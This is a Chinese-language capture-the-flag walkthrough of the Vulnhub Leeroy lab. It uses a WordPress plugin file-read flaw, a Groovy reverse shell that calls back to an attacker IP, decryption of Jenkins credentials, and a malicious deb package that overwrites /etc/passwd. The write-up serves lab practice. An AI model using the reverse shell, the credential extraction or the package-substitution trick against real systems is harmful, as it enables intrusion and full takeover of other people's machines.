Vulnhub Leeroy(提权失败求解惑)
字数 1160 2025-08-15 21:33:50

Vulnhub Leeroy 靶机渗透测试教学文档

1. 靶机基础信息

  • 难度等级:中等
  • 下载链接:https://www.vulnhub.com/entry/leeroy-1,611/
  • 运行环境:VMware

2. 初始信息收集

2.1 主机发现

nmap 192.168.1.0/24

发现靶机IP:192.168.1.104

2.2 端口扫描

nmap -p- -A 192.168.1.104

开放端口:

  • 80端口:仅显示一张图片
  • 8080端口:登录界面(无凭证)
  • 13380端口:WordPress站点(需配置hosts)

3. 配置hosts文件

echo "192.168.1.104 leeroy.htb" >> /etc/hosts

4. WordPress站点分析

4.1 WPScan扫描

wpscan --url http://leeroy.htb:13380/ --plugins-detection aggressive --api-token YOUR_API_TOKEN

发现可利用插件:wp-with-spritz

4.2 利用插件漏洞

访问以下URL查看.bash_history文件:

view-source:http://leeroy.htb:13380/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/home/leeroy/.bash_history

获取管理员凭证:

  • 用户名:admin
  • 密码:z1n$AiWY40HWeQ@KJ53P

5. 获取初始Shell

5.1 登录WordPress后台

使用获取的凭证登录WordPress管理界面

5.2 利用Groovy脚本执行反弹Shell

在编辑脚本界面插入以下Groovy代码:

String host="攻击机IP";
int port=1234;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

5.3 监听反弹Shell

nc -lnvp 1234

5.4 获取交互式Shell

python3 -c 'import pty;pty.spawn ("/bin/bash")'

6. 权限提升尝试

6.1 查看敏感文件

cat /etc/passwd

发现jenkins用户

6.2 获取Jenkins凭证

cat /var/lib/jenkins/credentials.xml

获取加密hash:

AQAAABAAAAAgXBYO0AVEoYA0D9oynQjqAa+7QnySTgsMd4BbZa9QmVexM+9KFi508EfjODn1lXhx

6.3 解密Jenkins密码

使用Groovy解密:

println( hudson.util.Secret.decrypt("{AQAAABAAAAAgXBYO0AVEoYA0D9oynQjqAa+7QnySTgsMd4BbZa9QmVexM+9KFi508EfjODn1lXhx}") )

获取凭证:

  • 用户名:leeroy
  • 密码:ew3@PHQiX2RtP1ra!GZs

6.4 切换用户

su leeroy

输入密码:ew3@PHQiX2RtP1ra!GZs

6.5 检查sudo权限

sudo -l

发现可以执行:

sudo /usr/share/jenkins/jenkins_installer /etc/passwd

7. 提权方法

7.1 分析jenkins_installer

这是一个Jenkins安装脚本,会从pkg.jenkins.io下载安装包

7.2 配置本地服务器

  1. 修改hosts文件:
echo "攻击机IP pkg.jenkins.io" >> /var/lib/jenkins/hosts
  1. 配置Apache2服务:
cd /etc/apache2/sites-available/
vi default-ssl.conf
  1. 创建目录结构:
mkdir -p /opt/vulnub/debain-stable/binary/

7.3 创建恶意deb包

  1. 生成密码hash:
mkpasswd -m sha-512
# 输入密码123456
  1. 编辑passwd文件:
vi /tmp/passwd

添加自定义用户(如test:123456)并保留原有内容

  1. 创建deb包:
dpkg-deb --build /tmp/malicious /opt/vulnub/debain-stable/binary/jenkins_2.222.3_all.deb

7.4 启动Apache2服务

systemctl start apache2

7.5 执行提权

sudo /usr/share/jenkins/jenkins_installer /etc/passwd

执行后,可以使用创建的用户(如test:123456)通过su或ssh登录获取root权限。

8. 关键点总结

  1. 通过WordPress插件漏洞获取.bash_history中的凭证
  2. 利用Groovy脚本获取初始Shell
  3. 从Jenkins配置文件中获取加密凭证并解密
  4. 利用sudo权限执行jenkins_installer时的下载漏洞
  5. 通过中间人攻击替换deb包实现提权

9. 问题解决

若提权失败,检查:

  • hosts文件是否正确配置
  • Apache2服务是否正常运行
  • deb包路径和内容是否正确
  • 确保攻击机IP与靶机在同一网络
Vulnhub Leeroy 靶机渗透测试教学文档 1. 靶机基础信息 难度等级:中等 下载链接:https://www.vulnhub.com/entry/leeroy-1,611/ 运行环境:VMware 2. 初始信息收集 2.1 主机发现 发现靶机IP:192.168.1.104 2.2 端口扫描 开放端口: 80端口:仅显示一张图片 8080端口:登录界面(无凭证) 13380端口:WordPress站点(需配置hosts) 3. 配置hosts文件 4. WordPress站点分析 4.1 WPScan扫描 发现可利用插件: wp-with-spritz 4.2 利用插件漏洞 访问以下URL查看.bash_ history文件: 获取管理员凭证: 用户名:admin 密码:z1n$AiWY40HWeQ@KJ53P 5. 获取初始Shell 5.1 登录WordPress后台 使用获取的凭证登录WordPress管理界面 5.2 利用Groovy脚本执行反弹Shell 在编辑脚本界面插入以下Groovy代码: 5.3 监听反弹Shell 5.4 获取交互式Shell 6. 权限提升尝试 6.1 查看敏感文件 发现jenkins用户 6.2 获取Jenkins凭证 获取加密hash: 6.3 解密Jenkins密码 使用Groovy解密: 获取凭证: 用户名:leeroy 密码:ew3@PHQiX2RtP1ra !GZs 6.4 切换用户 输入密码:ew3@PHQiX2RtP1ra !GZs 6.5 检查sudo权限 发现可以执行: 7. 提权方法 7.1 分析jenkins_ installer 这是一个Jenkins安装脚本,会从pkg.jenkins.io下载安装包 7.2 配置本地服务器 修改hosts文件: 配置Apache2服务: 创建目录结构: 7.3 创建恶意deb包 生成密码hash: 编辑passwd文件: 添加自定义用户(如test:123456)并保留原有内容 创建deb包: 7.4 启动Apache2服务 7.5 执行提权 执行后,可以使用创建的用户(如test:123456)通过su或ssh登录获取root权限。 8. 关键点总结 通过WordPress插件漏洞获取.bash_ history中的凭证 利用Groovy脚本获取初始Shell 从Jenkins配置文件中获取加密凭证并解密 利用sudo权限执行jenkins_ installer时的下载漏洞 通过中间人攻击替换deb包实现提权 9. 问题解决 若提权失败,检查: hosts文件是否正确配置 Apache2服务是否正常运行 deb包路径和内容是否正确 确保攻击机IP与靶机在同一网络